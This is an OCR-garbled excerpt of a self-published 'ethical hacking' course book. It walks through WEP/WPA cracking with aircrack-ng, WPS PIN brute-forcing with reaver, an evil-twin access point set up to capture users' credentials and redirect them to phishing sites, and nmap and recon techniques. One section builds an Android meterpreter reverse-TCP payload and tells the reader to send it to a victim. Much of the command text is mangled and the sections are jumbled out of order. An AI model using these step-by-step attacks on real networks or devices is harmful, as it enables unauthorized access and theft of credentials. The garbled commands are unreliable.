#aircrack —-ng -b (bssid) ww*.cap



Then you can find the wireless password. So from one client in
the network, you can find the WEP authentication

0 paning wa

Aircrack-ng 1.2 betal

4) 1F(1

KEY FOUND! [ 61:f ] (ASCII: )

Decrypted correctly: 100%

lwconfig
Airmon-ng start wlan1
- airodump-ng mon(
- airodump-ng-¢ 1 —-bssid 00:1C:10:AF:FA:4D —-w_www mon(

- aireplay-ng -1 0 -e TargetWiFi -a 00:1 C:10,'AF:F&:4D -h
00:C0:CA:4A:D3:37 mon0

- aireplay-ng -3 -b 00:1C:10:AF:FA:4D -h'00:C0:CA:4A:D3:37 mon0
- aircrack-ng -b 00:1C:10:AF:FA:4D ww*.cap




In order to find the WEP authentication password without a
client connected to access point, we need another technique. It
will use the monitoring mode of my device instead the mac
address of the client using the access point

Go to linux and write

#iwconfig

wiated Tx-Power=20 dBm
Fragment thr:off




Activate monitoring mode

#airmon—ng start  wlani

i~ airmon-ng start wlanl

ound 3 proc es that could c: e trouble.
fail ¥=Nng ot

nterface Chipset

vianl Ralink RT28786

To see the networks around me

#airodump —-ng mono



2 15:04
#hata, #/s C MB

Sda,
S48
547,
S5de
54 .
54

Sde

Ly
&
L4

F)

STATION PwWR late Lost Frames

The mono will make virtual adapter network. To know the mac
address of the monitoring mode virtual adapter network

#ifconfig



G frame:0
I carrier:@

S RUNNING ALLMULTI MTU:1
3 dro i ov uns:@ frame:0
] GVErrung @ cdrridar e

B (0.0L8)

To capture the packets

#airodump —-ng -c 3 (ch no) —bssid (mac) -w eee mono

2013-08-22 15:05

PWR RX( Beacons #Data, #/s ENC CIPHER AUTH E

Make thick authentication



#aireplay —-ng -1 -0 —e demo -a (mac address of the access
point) —h (mac address of monitoring mode) mono

:~# aireplay-ng -1 @ -e demo -a 10:C6:1F:E7:69

mone
Waiting for beacon frame (BSSID: 10:C6:1F:E7:6

I: 0 pen S y

tem) [ACK]

Make arp request to speed up capturing packets.

#aireplay —ng -3 -b (mac address of the access point) —h
(mac address of monitoring mode) mono

Wait until 20000 packet.



Make airOpen new window and write
#aircrack —-ng -b (bssid) ee*.cap

Then you can find the wireless password. So from one client in
the network, you can find the WEP authentication

crack-ng 1.2 betal

[BE:60:00] Tested 202 h&j; [got 14658 IVs)

Iwconfig

- Airmon-ng start wlan1 _ -
airodump-ng mon0 J -\
airodump-ng —c 1 —bssid 00:1C_10:AF:FA:4D =w. www {:ﬂ

aireplay-ng -10 -e TargetWiFi-a 00:1C:10:AF:FA:4D -h D0:C0:CA:4A:D3:37 P
mon0 .

a,lrepll'a y-ng -4 -b [target BSSID] -h [source MAC(;ddmss (your MAC)] [interface]

pac&etfﬂrgq N4, -0-a [target BSSID] -h [source MAC] -k [destination IP in
fragments] -1 rsnun::e IP in fragments] -y arp.xor -w {nutputzj

gireplay-ng -2 -r [output2] [interface]
- aircrack-ng-b 00:1C:10:AF:FA:4D ww".cap




The smart access point will drop the packets that have long
lengths, so we cant apply the previous two methods as the
access point will drop the arp request so we cant reach
responses and to search the file for the password. In this
method, through the aireplay and aircrack tools, they will
predict some packets to reach the length that the access point
can deal with it and can extract all information in file. We will
take the file and through some tool we will inject them in
network. In this way we will reach to response that we can
capture in file and we ask the aircrack tool to search on it for
password.

Go to linux and write

#iwconfig

ated Tx-Power=20 dBm
agment thrioff

Activate monitoring mode

#airmon —ng start  wlan1



To see the networks around me
#airodump —-ng mono
root@kali: ~

File Edit View Search Terminal Help

y b | T3
22 17:83

#iData,




To capture the packets

#airodump —-ng -c 3 (ch no) --bssid (mac) -w ddd mono

:~# airodump-ng -c B i-bssit 18:C6:1F:E7:69:98 -w ddd monGIl 1l |/ al

Make thick authentication

#aireplay —-ng -1 -0 —e demo -a (mac address of the access
point) —h (mac address of monitoring mode) mono

Waiting for beacon frame |

#aireplay —-ng -4 -b (mac address of the access point) —h
(mac address of monitoring mode) mono

Make thick authentication



#aireplay —-ng -1 -0 —e demo -a (mac address of the access
point) —h (mac address of monitoring mode) mono

#aireplay —-ng -4 -b (mac address of the access point) —h
(mac address of monitoring mode) mono

:~# aireplay-ng -4
iting for beacon frame 2

written
ritten i

umum un

t in replay dec ap

Rl rcoplay de B823.xor

After it finishes, it will save two files in keystream and plaintext
files.

Use the tool packetforgee to create arp packets to inject them



#packetforgee—ng -0 —a (mac address of the access point) —h
(mac address of monitoring mode) —k 255.255.255.255 -|
255.255.255.255 —y (file stream name) —w eduors

Inject the packets in the network

#aireplay —-ng -2 -r eduors mono

Open new window and write

#aircrack —-ng -b (bssid) dd*.cap

Then you can find the wireless password.



KEY FOUND!

Decrypted correctly: 1

You can crack by Gerix tool.

Eduors Ethical Hacker Course

wget https:ﬂt:-itbucket.urgJ’Skjn3ﬁrgerix-wiﬁ-cracker—pyqt&.‘dawn!nadsm»wiﬁ-
cracker-master.rar E\‘

unrar x gerix-wifi-cracker-master.rar

cd gerix-wifi-cracker-master

python gerix.py _. /‘ Ny

Download the file using wget command.
Uncompress the file.

Cd gerix-wifi-cracker-master

Write

# python gerix.py



wget https://bitbucket.org/Skin36/gerix- mfr-cracker—pyqtd.fdnwnmads! jerix-wifi-
cracker-master.rar E\\

unrar x gerix-wifi-cracker-master,rar

cd gerix-wifi-cracker-master \ /
python gerix.py ” ‘ A N

Gerix wifi cracker

Wemee'ﬂanl‘lguranon WEP | WPA | Fake AP Cracking Database Credits

Directory for session files (logs, .cap, ...):

froot/.gerix-wifi-cracker/ | Clean old session files

Select the interface:

&_
Interfece MAC Chipset Driver Maode
1 wlanl 00:26:5a:7... Ralink RT28... rt2800usb ... Managed

Reload wireless interfaces Set random MAC address Enable/Disable Monitor Mode

Select the target network

Essid Bssid Channel Signal Enc
Channel: all channels £ | Seconds: |10 :; Rescan networks
1 [ L)
18:37:54 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

18:38:00 - Logs cleaned

Clean all session files

Enable monitoring mode for the network.

Select mono and select rescan network.

Go to WEP section. Click start sniffing and logging. It will show



the WEP attack control panel, and we must click Start false
access point authentication on victim, then Start the chop chop
attack. It will create two files, plaintext file and keystream file.

Gerix wifi cracker l

Welcome = Configuration WEP | WPA | Fake AP Cracking | Database Credits

Welcome in WEP Attacks Control Panel

General functionalities
WEP Attacks (no-client)

ChopChop attack

Start false access point Authentication on victim

Start the ChopChop attack
k.

Create the ARP packet to be injected on the victim access point

(L1

Inject the created packet on victim access point

Fragmentation attack

Associate with AP using fake auth

WEP Attacks (with clients)
WEP Attack (with clients, in Access Point and Ad-Hoc mode)

—
I 18:3A:00 - | nnxs rleaned A h

Then click create ARP packet to be injected on victim access
point.

Then we inject the created packet in the network by clicking
“inject the created packet on victim access point"

Then we go to the section web cracking to crack the password.



Gerix wifi cracker

Welcome Configuration WEP WPA Fake AP Cracking | Database | Credits

Welcome in Cracking Control Panel

WEP cracking

MNormal cracking
When you have enougthﬁackets (>5000) you can try to decrypt the password.

Aircrack-ng - Decrypt WEP password

WPA bruteforce cracking

WPA rainbow tables cracking

Click aircrack-ng decrypt WEP password. You will get the
password.

In the WEP encryption, the pre shared key length is constant.
They thought to find a way that has variable key and so they
discovered the Temporary key integrity protocol TKIP, where it
can change the key every time through four handed check. There
is WEP personal where we use the pre-shared key in the
authentication, while in the WEP enterprise we use the radius
server in the authentication.



Eduors Ethical Hacker Course

WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a
safer RC4 implementation— for data encryption and either WPAQ\
Personal or WPA Enterprise for authentication.

WPA Personal uses an ASCIl passphrase for authentication while
WPA Enterprise uses a RADIUS server /t_u duthenticate users. 4
WPA Enterprise is a more secure robust security option but relies
on the creation and more complex setup of a RADIUS server.
TKIP rotates the data encryption key to prevent the vulnerabilities
of WEP and, consequently, cracking attacks.

Eduors Ethical Hacker Course
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The key consists of TKIP (Temporary encryption key) and with it
TSE and it is (IV and EIV). The two parts called key mixing.
Theng they enter the RC4 Cipher. The data consists of two
parts, the MSDU MIC key. The two parts go to michael
alogrithms and this algorithm will secure the data so nobody
can edit the data. The output of the algorithm will be
segmented and the output will go to CRC-32 checksum
algorithm to make error detection and correction and the output
will be ICV attached with the packet. It will make XOR to the
data and the key and will be put in the packet as Ciphertext.
To change the temporary key encryption, we use four ways
handshake. It happens through the EAP success and this the
protocol that can change th password through sending the
access point sends Anoce. The smart devices that have PTK will
understand the Anoce and will send with it Snoce and with it
the MIC. The access point will verify the MIC and it will
respond if it was ok.

airmon-ng start wlan0
airodump-ng -c 9 -bssid 00:de:af:da:c7:00 -w www mon(

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 c OU:UF:BE:FD:FB‘.’({E mon(

= aircrack-ng -w password st -b 00:de:af:da:c7:00 psk*.cap
/A

We will listen on the network through the monitoring mode. Any
packet we will find will make capture for it on file. We will wait
any client that makes hand check with access point and we will
separate the client and we will receive the responses to capture
them in file. Through the dictionary attack, we will make decrypt



for the file and we will find the password
Activate monitoring mode

#airmon —ng start  wlan1

To see the networks around me

#airodump —-ng mono

root@kali: ~

Terminal Help

demo
ahmed
farou
~im
=}

PSK  TP-LI

aalaa

Probe

g | =
35




To capture the packets in a file

#airodump —-ng -c 5 (ch no) --bssid (mac) -w www
mono

:~# airodump-ng -c 5 --bssid 10:C6:1F:E7:69:98 -w www mon(




» 1[ Elapsed: 1 min ]|

PWR RXQ

STATION

Open another window

#aireplay —ng -0

Beacons

23 19:18 ][

WPA handshake: 10:C6:1F:E7:

/s CH MB ENC

WPA TKIP  PSK

Frames Probe

-a (mac address of the access point) —c

(mac address of client of the packet) mono

CIPHER AUTH E

d




mon®

Work with dictionary attack to crack password

#aircrack —ng -w /password\ list.txt —b (mac of access point)
WWW*.cap




WPA2 is similar to 802.11i and uses the Advanced Encryption Standard
(AES) to encrypt the data payload. AES is considered.an uncrackable
encryption algorithm. WPA2 also allows for the usé of TKIP during a

transitional period called mixed mode security . This transitional mode

means both TKIP and AES can be used to epcrypt data. AES requires 2"
faster processor, which means low-end q_dﬁces like PDAs may only
support TKIP. WPA Personal and WPA2 Personal use a passphrase to
authentication WLAN clients. WPA Enterprise and WPA2 Enterprise
authenticate WLAN users via a RADIUS server using the
802.1X/Extensible Authentication Protocol (EAP) standards

The WPA encryption had two problems. The first problem that it
uses the algorithm RCAg4, also when there was DOS attack on
the access point, the micheal algorithm was disconnecting the
wireless network for 30 sec. So they changed the RCA4
algorithm with AES algorithm that does the encryption and
transmission of the data. Everything goes to AES CCMP
including the plaintext data and temporary key and PIN and mac
header and it encrypts them to MIC and the data and it
includes the CCMP header and MAC header.



Priority destination

address
mm armrrmEmrErrmey
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RLAL CCMp Encryplad
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There is personal and enterprise editions. The personal deals
with the pre shared key and the enterprise deals with the radius
server in authentication.

Crack WPA2 Encryption by WPS Attack



Wi-Fi Protected Setup (WPS; originally Wi-Fi Simple Config) is 2 computing standard
that attempts to allow easy establishment of a secure wireless home network.

Created by the Wi-Fi Alliance and introduced in 2006, the goal*of the prgtocol is to
allow home users who know little of wireless security and’may be intim by the
available security options to set up Wi-Fi Protected AccesS, as well as making it easy
to add new devices to an existing network without entering long passphrases. Prior to
the standard, several competing solutions were developed by different vendcrﬁ to
address the same need. \

y
WPS has been shown to easily fall to brute-fopte attacks. A major security flaw was

revealed in December 2011 that affects wirelegs routers with the WPS feature, which
most recent models have enabled by default, The flaw allows a remote attacker to
recover the WPS PIN in a few hours and, with it, the network's WPAMPAZ2 pre-shared
key. Users have been urged to turn off the WPS feature, although this may not be
possible on some router models

We can do crack to WPA2 encryption using the dictionary attack
or using WPS attack.

WPS is Wifi protected setup and it is service that can make
connection between the client and access point in easy way. We
go to the access point and we press the button that will
operate the WPS function and we go to the client and we press
the button the will operate the WPS function.

In the following video we will show how it is possible to
connect sumsung with router supports WPS. Go settings. Press
wireless and networks. Then WIFI settings. There is option for
WPS connections, press it.
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In the router there is button to enable WPS.

In the cisco router, we can make configuration for WPS in three
methods. The first method through pressing the button for the
WPS function. The second method is through you put the client
WPS pin code. The third method that the client put the WPS
pin code for access point.

Basic Seflings Use one of the following for each WPS-supported device:
Security
Connection Control

1. W your client device has a WPS bufton, dick or press that button, and then click the button on the right. @
VLAN and QoS

Advanced Settings
* AF Mode
* Administration
» Status

OR

2 Wyour dlient device has a WPS PIN number, enter that number here andthen click  Register
OR

3 W your dlient device asks for the Access Point PIN number, anter this number (EEIEIET#n your client device.

Wi-Fi Protected Setup Status: Configured
Network Name (SSID): ciscosAP
Security: WPA2-Personal

Passphrase: eduorsis



Activate monitoring mode

#airmon —ng start wlano

To know the router that supports the WPS mode



# wash —I mono -C

lutions, Craig Heffner <cheffner@tacne

Va |'51C|IE WPS Locked

Revear is a tool that can do the brute force attack on WPS
service until we can reach to pin code and from it we can
decrypt the WPA or WPA2 encryption.

Write

# revear —i mono -b (bssid of access point)

s, Craig Heffner =cheffner@tacnetsc




We can speed up the process through giving the pin code
# revear —i mono -b (bssid of access point) —p (pin code)

:~# reaver -b 20:57:AB:6/:A/7:89 -p 19507057 -1 monQ

- vl.4 WiFi Protected Setup Attack Tool
sright (c) 2011, Tactical Network Solutions, Craig Heffner <chaeffner@tacnetso

pins left to try)

@ pins left to try)

SK
[

Anywhere public Wi-Fi is available is an opportunity /for an aftacker to
use that insecure hot spot to attack unsuspecting vietims. Oh“speciﬁc
Wi-Fi hot spot attack called an “Evil Twin” access jp6int can :"r:p%nnate
any genuine Wi-Fi hot spot. Attackers will make sure their evil twin AP is
just like the free hot spot network, and users_are then duped when /A
connecting to an evil twin AP and the attaéﬁbr can execute numerous
attacks to take advantage of the unaware victim.

It is technique done by hacker through the network adapter. The
hacker will do fake access point, anybody connects to to this
access point will go to internet through the IP forward. Any
username and password written by client will occur to the
hacker.



Making easy fake access point by easy creds



The easy-creds script is a bash script that leverages ettercap and other tools
to obtain credentials during penetration testing. -

Menu driven, it allows you to easily attack with basic arp spoofing, ‘oneway
arp spoofing and DHCP spoofingand the setupof a Fake AP.

In addition it has an SSLStrip log file parser that leverages a definition file.to
give you the compromised credentials and the'site they have come from.

Go in backtrack to privilege escalation, protocol analysis, network
sniffers, easy-creds.

Choose 1 to edit the file etter.conf

Change the ec_uid=0, ec_gid=0

¥ nobody {= the default
# nobody is the default

[mitm]

arp_stor rll_-_il:..'-J!:I = 1L

Remove the # from the iptable redir_command



i

iptabl - i ¥iface -p tport =4 REDIRECT

“iptables -t nat -0 M E ce —p top - 4 #port -j REDIRECT -

add fwd 127.0,0,1.3 rt tcp from any to an
q Flush"




To edit anything in network choose 2 to edit etter.dns. We can
put the ip of the phishing web site. For example if the user
wants to go to it will go to another ip that has the phishing
website.

W llildcards in PTR are not allowed

Choose 3 to install dhcp server to give the client ip address



Choose 5 to add tunnel interface to dhcp server

#
# Thiz iz a POSIX zhell fragment
L

# On what interfacez should the DHCP serwer (dhopd) serue THCP requests?
£ te multiple interfaces with spaces, e.g, "ethl ethi”,

# g
INTERFRCES="at0"

Go to home by pressing 9. Then choose 3 fake access point
attacks.Then choose 1 for fake ap statics. Choose the name of
log file, ie log.Chose you don’t want site hijacking. Tell him the
interface connected to internet, ie ethi. Then it asks for interface
that we will make though it fake access point, choose wlano.
Then it asks the name of the fake wireless network, ie fakeap.
Then it asks for the channel for access point, choose ie 4. Then
it asks monitoring mode, choose ie mono. Then it asks tunnel
interface, ie ato. Then it asks if you already made the
configuration of dhcp server, choose no to configure the dhcp
server. It asks for the range of dhcp server, give him
10.0.0.0/24. Then it asks for dns, give him ie 8.8.8.8. Then the
program will start all programs
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Part 11: Mobile Platforms Hacking

Mobile Application Hacking

Mobile applications are increasingly targeted by
hackers, regardless of mobile OS, device
manufacturer, and vendor.

Attacks include those against mobile apps, data,
and the device itself. Attack methods include
malicious code, theft, and social engineering.

Goals are data theft or destruction, credential
theft, personal data and privacy invasion, and
possibly even entry into a larger connected
network.



Mobile Application Hacking

* Mobile application attack vectorsinclude:

* Legitimate applications from the phone’s application store

* Malware

Mobile Application Hacking

« Attack tools include:

* SuperOneClick/Superboot
(Android)

* DroidSheep (Android)
» ZitMO (Android)

* Cydia (iOS)

* RedSnOw (iOS)

* FinSpy Mobile (BB)

* Device loss or theft

* Unsecured Bluetooth connections

* |Unsecured wireless connections

« Jailbreaking or rooting the device

* Mobile web vulnerabilities from Internet sites

Mitigations include:
Secure device with PIN or passcode
Don’t jailbreak the phone

Enable phone finding services
specific to the device

Secure Bluetooth connections
Secure wireless connections

Update with patches when
available

Back up and sync devices

Open terminal and write the command to generate android



payload



# msfpayload android/meterpreter/reverse_tcp
LHOST=192.168.52.135 LPORT=4444 R>andro.apk

root@kalilinux: =

File Edit Vew Search Terminal Help

The file will be created and will be saved in root folder.
Send the file to the victim. To accept the connection we need
to open the multi handler session

# msfconsole

Msf> use exploit/multi/handler

Msf> set payload android/meterpreter/reverse_tcp

Msf> set LHOST 192.168.52.135

Msf> set LPORT 4444

After the victim click the file, you can use the commands:
sysinfo, screenshot, keystrockes,

Full Course on Hacking of Computer Networks



By
Dr. Hidaia Mahmood Alassouli

Hidaia_alassouli@hotmail.com



While every precaution has been taken in the preparation of this
book, the publisher assumes no responsibility for errors or
omissions, or for damages resulting from the use of the
information contained herein.

HACKING OF COMPUTER NETWORKS

First edition. June 2020.

Copyright © 2020 Dr. Hidaia Mahmood Alassouli.

Written by Dr. Hidaia Mahmood Alassouli.



Author Biography

| am Dr. Hidaia Mahmoud Mohamed Alassouli. | completed my
PhD degree in Electrical Engineering from Czech Technical
University by February 2003, and my M. Sc. degree in Electrical
Engineering from Bahrain University by June 1995. | completed
also one study year of most important courses in
telecommunication and computer engineering courses in Islamic
university in Gaza. So, | covered most important subjects in
Electrical Engineering, Computer Engineering and
Telecommunications Engineering during my study. My nationality
is Palestinian from gaza strip.

| obtained a lot of certified courses in MCSE, SPSS, Cisco
(CCNA), A+, Linux.

| worked as Electrical, Telecommunicating and Computer
Engineer in a lot of institutions. | worked also as a computer
networking administrator.

| had considerable undergraduate teaching experience in several
types of courses in many universities. | handled teaching the
most important subjects in Electrical and Telecommunication and
Computer Engineering.



| could publish a lot of papers a top-tier journals and
conference proceedings, besides | published a lot of books in
Publishing and Distribution houses.

| wrote a lot of important Arabic articles on online news
websites. | also have my own magazine website that | publish
on it all my articles: http:// www.anticorruption.ooospace.com
My personal website: http://www.hidaia-alassouli.ooospace.com
Email: hidaia_alassouli@hotmail.com

Abstract

The objective of the book is to summarize to the user with
main topics in computer networking hacking.

The book consists of the following parts:

Part 1: Lab Setup

Part2: Foot printing and Reconnaissance

Part 3: Scanning Methodology



Part 4: Enumeration

Part 5:System Hacking

Part 6: Trojans and Backdoors and Viruses



Part 7: Sniffer and Phishing Hacking



Part 8: Hacking Web Servers

Part g9:Hacking Windows and Linux Systems

Part 10: Wireless Hacking

Part 11: Hacking Mobile Applications

You can download all hacking tools and materials from the
following websites

http://www.haxf4rall.com/2016/02/13/ceh-vg-pdf-certified-ethical-
hacker-vg-courseeducatonal-materials-tools/
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Part 1: Setup Lab
1) Setup lab

From the virtualization technology with software VMware or
virtual box we can do more than one virtual machines, one linux
and other windows 2007 or windows Xp

Download vmware and install it

Create folder edurs-vm in non-windows partition. Create a folder
for each operating system



Install any windows operating system.
Download backtrack

The advantage of BackTrack 5 (BT5) is that it offers a slew of security and
forensic tools on a live DVD, ready to use. It's based on Ubuntu Lucid {10.04
LTS) with Linux kernel 2.6.38 and some patched WiFi drivers to allow injection

attacks. You can download the distribution in a GNOME or/a®KDE version, fof
32-bit or 64-bit x86 machines. It's a'live DVD ISO file, which you can burntoa
DVD or write to a USB stick. On the desktop of the live session, there's an
installer icon if youwant to install BackTrack permanently. For the first time,
the project also has an image for ARM, which yoli'¢an run on your smartphone
or tablet to test the security of a wireless network.

To install backtrack on usb, download unebootin. We need also

to use the tool to support booting from flash memory in
vmware.

Unebootin

This is the software that allows you to create bootable Live USB-drive. If18
available for Linux, Windows and OSX. You can download thes6ftware

Download and install kali linux



Kali Linux is an advanced Penetration Testing and Security Auditing Linmux
distribution. —

—

Kali is a complete re-build of BackTrack Linux, adheéring completely

to Debian development standards. All-new infrastructure has been putin place,

all tools were reviewed and packaged, and we use Git'for our VCS.
More than 300 penetration testing tools:
Free and always will be

Open source Git tree:

— ~

Download and install metasploit.

Metaspoit Framework is a open source penetration tool used for
developing and executing exploit code against a remote target maehine
it, Metasploit frame work has the world's largest databaseof publi

tested exploits. In simple words, Metasploit can be used to test the
Vulnerability of computer systems in order to protect them and on the
other hand it can also be used to break into remote’systems.

/

Metasploit is big project that contains a lot of modules or
programs. These modules or programs can utilize the holes in
windows machines or linux machines operating systems. For any
hole that occur in the operating systems, we can develop the
program that can utilize this hole. We can work on it through
command line or graphical interface. The programs that use
graphical interface are armitage and Koblet Strike . In linux we



can update the metasploite using command msfupdate.

Part 2: Foot printing and Reconnaissance
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Part 2: Foot printing and Reconnaissance



1)Footprinting and Reconnaissance

Use nslookup to get information about server.



see dnsstuf to get information about server domain .

Use www.ip-address.com to get information about server.
Use www.robtex.com to get information about server domain.
Use backtack or any linux machine to know the dns servers
certain domain. For example,

Dig Wikimedia.org

Use backtack or any linux machine to know the A and MX
records of certain domain. For example,

Dig A Wikimedia.org

Dig MX Wikimedia.org

To see the zone transfer

Dig -t AXFR Wikimedia.org @ nsi1.wikimedia.org

of



We can see all the records in that dns server.
We can use the nslookup command to see the host of certain
ip address

Nslookup ptr 31.13.81.17

We can use who.is to know information about when created ,
and when expired and all information about that the dns servers
of domain and about the administrator. You can get the same
information from backtrack terminal. Write

whois Microsoft.com



We can use tool called smartwhois to get same information.
We can use tool called countrywhois to get information about
country of a domain.

We can use tool called lanwhois to get same information from
who.is.

There is tool called alchemy eye to make monitoring for certain
services in a target server. It can check the status of certain
services on a server.

Use robots.txt file to know what is not allowed on the website.
Eg www.microsoft.com/robots.txt

To search site in google write eg, site:tedata.com filetype:pdf.
You can search the following in google

Intitele: search in the title page

Inurl: search in the url page



Site: search on site

Link: other sites that links to our subject

Inanchor: search on hyperlinks

Filetype: search to see pattern yet

There is google hacking data base. You can find exploits in
www.exploit-db.com in ghdb section.

You can use sitedigger to get the dorks of any site.

You can use theHarvester to get the emails of certain domain.
From the backtrack write for example,

#./theharvester.py —d Microsoft.com 500 —b google

You can search emails using the exploitation tools in back track.
Type in the command line msfconsole

From the command msf, write



search email

It will bring all modules that have emails. Take one module



Auxiliary /gather/ search_email_collector

Write

Msf> use Auxiliary /gather/ search_email_collector

Then write " info
Msf> info
Then write " set DOMAIN Microsoft.com"
Msf> set DOMAIN Microsoft.com

Then write "run

Msf> run



You can use Maltego tool. When you run the program, choose
company stalker, write the name of the company ie
Microsoft.com. It will brings the email of the domain. Take the
domain Microsoft.com, then click run transform.

You can use piple search or facebook.

You can use the website truecaller website to find the person of
certain phone number .

You can use metadata collector tools. Two tools used, metagofil,
FOCA

Metagofil tool is in backtrack. For example write

# /pentest/enumeration/google/metagoofilo



#./metagoofil.py —d Microsoft.com doc,pdf -l 200 —n 50 —o
microsoftfiles —f results.com

It will bring many emails and other information.

You need to change downloader.py to be

|class downloader():
def init (self,url,dir)
self.url=url.replace("/url?g=", "", 1).split("&amp")[8]

self.dir=dir
self.filename=striurl.split{"/")[-1])

Use foca to download files from certain servers.
Use traceroute, tracert to traceout the connections in certain

server.
There is tool called tcptraceroute can bypass firewalls.
You can use geospider as tracert tool.

You can use trout tool.



You can use visual ip trace.
You can use www.bing.com to see all the web sites on the web

server. Write the Ip and you will get all websites in the same
server.




To know the type of web server, we use whatweb tool in linux.

#./whatweb www.microsoft.com

We can use httprecon tool for same purpose to know the type
of web server.

We can use the site news.netcraft.com to get all information
about web server.

We can use the telnet command to know the type of web
server

# telnet 192.168.1.1 80

# GET / HTTP / 1.0



We can use netcat in linux to know the type of web server.

# nc —n 192.168.28.139 30



# GET / HTTP / 1.0

We can use the tool httrack and wget for mirroring websites.
You can use them to download and save websites.

We can use in backtack THCSSLCheck tool

# wine THCSSLCheck www.yahoo.com 443

Or use the tool sslscan



#sslscan www.cnn.com

To detect the load balancing, we use the tool Ibd (load balance
dector)

# www.yahoo.com

It will try to find whether it is load balancing server. It will find
the type of server, whether dns or http. It will check the dns
load balancing and the http load balancing. Then it will tell
whether load balancing made by http or dns

You can detect the web application firewall. There is tool called
wafwoof. The tool can detect some firewalls. Go to waffit in
backtrack.

www.contra.gr

Some websites can offer help in least time.Centralops.net can
make service scan and network whois and domain whois and
traceroute and find dns records. Other website can do the same
purpose: and serversniff.net and mrdns.com.

On firefox, add passiverecon addon and you can get from it all
information about the web site you are browsing.
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The steps for hacking: Reconnaissance, Scanning, Gaining
Access, Maintaining Access, Covering Tracks

Check for Open Ports

Vulnerabdity Scanning

Draw Network Dragrams of
Vulnerable Hosts




-"""\.
Packet crafting is a technique that allows nefwork ™
administrators or hackers to probe firewall rule-sets and find

s

entry points into a targeted system oraefWork. This is done by*i
manually generating packets to tes¥network devices and
behavior, instead of using existing network traffic. Testing may
target the firewall, IDS, TCP/IP stack, router or any other
component of the network

Using scapy tool to send a packet



$ scapy

>>>|P().show()

>>> jp=IP(src="192.168.0.1")

>>> jp,dst="192.168.0.2“

>>> ip/TCP()

>>> tep=TCP(sport=1025, dport=80)
>>> srlip/tcp)
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+ checking for systemns that are
live on the network, meaning that
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It will find which devices are actives in the network. There are
many tools to make ping sweep: angry and hping and nmap.

Use nmap

#nmap —sn 192.168.28.0 /24



Use hping
Use in windows angry tools

Scan Goto [nmmands Favorites Tools Help
IP Range: 192.168.28.1 to 192.168.28.254
Hostname:  wser-PC 1§IP'

i3 Hostname Ports [0+]

@ 192168281 pe /5]
| @ 192168282 [n/a) s)

b
@ 192168283 [n/s] L /5]

| @102168284 [n/s] [n/s]
© 192168285 [m/s]
@ 102168286 /2] [n/s]
@ 192168287 [n/s]
@ 102168288 [n/s]
@ 192168289 [n/s] .
@ 1021682810 [n/s] In/

m1"\l'\ TEQ 0 14

Started 192.168.28.41 Threads




Use the nmap to know the open ports in a host

SYN Packet + Port (n)

SYN / ACK Packet

Attacker




#nmap 192.168.152.130 -p 80

Use the nmap to make scan on all ports



#nmap 192.168.152.130

Use the metasploit for same purpose



#msfconsole



Msf> search scanner/portscan

Msf> Use auxiliary/scanner/tcp

Msf> Info

Msf> Set RHOSTS 192.168.28.139

Msf> Set PORTS 1-1000

Msf> run

The problem if there is firewall we will not get results. In stealth
scan or half open scan



57N Packet + Port (n)

p—— 8 e B A —

=
SYN / ACK Packet E g

ACK + RST

# nmap —sS 192.168.28.13 -p 8o

Use the metasploit for same purpose

#msfconsole



Msf> search scanner/portscan

Use auxiliary/scanner/syn



Info

Set RHOSTS 192.168.28.139

Set PORTS 1-1000

Run

We can use the ACK to know the unfiltered ports on firewall

»
* -
£ g

-

Destination Deatinabion
68 46 234 181 9 241 i B BR 48 234 161

# nmap —sA 192.168.28.138 -p138

It will tell you it is unfiltered port in the firewall



Use the metasploit for same purpose

#msfconsole

Msf> search scanner/portscan

Use auxiliary/scanner/ack

Info

Set RHOSTS 192.168.28.139

Set PORTS 3380-3390

Run

It will tell you the unfiltered ports

The FIN scan is another way of scan. The computer sends FIN
packet and if the host answered it, it is open port otherwise it
is closed port



M

>
I e
E:.: r

Port s open 100082 Port Is closed 1000823

# nmap —sF 192.168.28.138 -p1-1000

The XMAS scan is another way of scan. The source machine
sends FIN and URG and PUSH and if the destination did not
answer, then the port open and if it did answer with RST then
the port close.
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Sarver

1
Port is open 00082

# nmap —sX 192.168.28.138 -p8o

Here the source machine sends TCP packet with NO flag set. If
the destination did not answer, then the port open and if it did
answer with RST then the port close.

# nmap —sN 192.168.28.138 -p80

The Idel scan is another way of scan. We want when we make
scan, the destination does not register that | made the scan,
but the IDS registers the Zombie that made the scan. The



destination must be Idle. This technique used with the printer
networks. The hacker sends SYN/ACK to zombie and it
responses with RST signal. We write the packet ID. We will
make packet spoofing IP. We will send the packet SYN to the
target and so the target will answer to the Zombie with SYN
ACK and the Zombie will answer with RST if the port is open.
We will send SYN ACK again to the Zombie and we will take
the packet ID. If the packet ID increased with two numbers, the
port is open. If the packet ID increased with one number, the
port is close.

. is used to run Idle Scan.
. Is necessary for stealth, otherwise paclign would be sent to the tfrgut
from your real addres.
- scan ports 20, 21, 23, 24 and 25!
22: Zombie IP.

. Target IP.

! 4 1P Probe SYMN J A0K Pack

Artaciosr 5T ™ | fombia
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In UDP scan, the hacker sends UDP probe to the destination. If
the destination did not answer, then the port open otherwise it
is close.

UDP Scanning

ChUsersyIT-TRAIN\

# nmap —sU 192.168.28.138 —p- (all ports)



It will show all open UDP ports.

Firewalking: It is the combination of portscanning and
tracerouting technique.

pination of port scanning and tracerouting tec nigues

« designed to discover firewall rules. e

4 <

Attacker Filver R1 Target

» TTL expires at R1

» To Targ;et

# hpings 11024 -S -t 5 scanme.nmap.org



hiding your |P addreas

nmap ideal scan technigue to hide your IP

Slow down scans

Fragmenting packets

Change output port (53,20,21,80,8080)

Firewalking




The scan decoys is hiding process.

To slow down scans write

# nmap 192.168.28.138 -p445



To bypass firewalls so it will not detect the nmap

# nmap -PN -g53 192.168.28.138 -p445

Passive fingerprinting is the process of analysing paekets from a host
on a network. In this case, fingerprinter acts as a/-snlﬁer and daﬁn't put
any traffic on a network .

Operating System (OS) IP TCP
Initial TTL window size

Linux (kernel 24 and2.6) 64 5840
Google's customized Linux 64 §720
FreeBSD 64 65636
Windows XP 128 65536

Windows 7, Vista and 128 8192
Server 2008

Cisco Router (105 12.4) 285 4128

To do fingerprinting, we have many tools: NetworkMiner, Pof,
Satori
In backtrack there is tool called pof

#pof —i etho



Active fingerprinting

Active fingerprinting is the'process of transmitting packets to a
remote host and analyzing corresponding seplies A

| A

#nmap 192.168.28.135

i. Banner grapping

A banner is simply the text that is embedded with a message thatis received
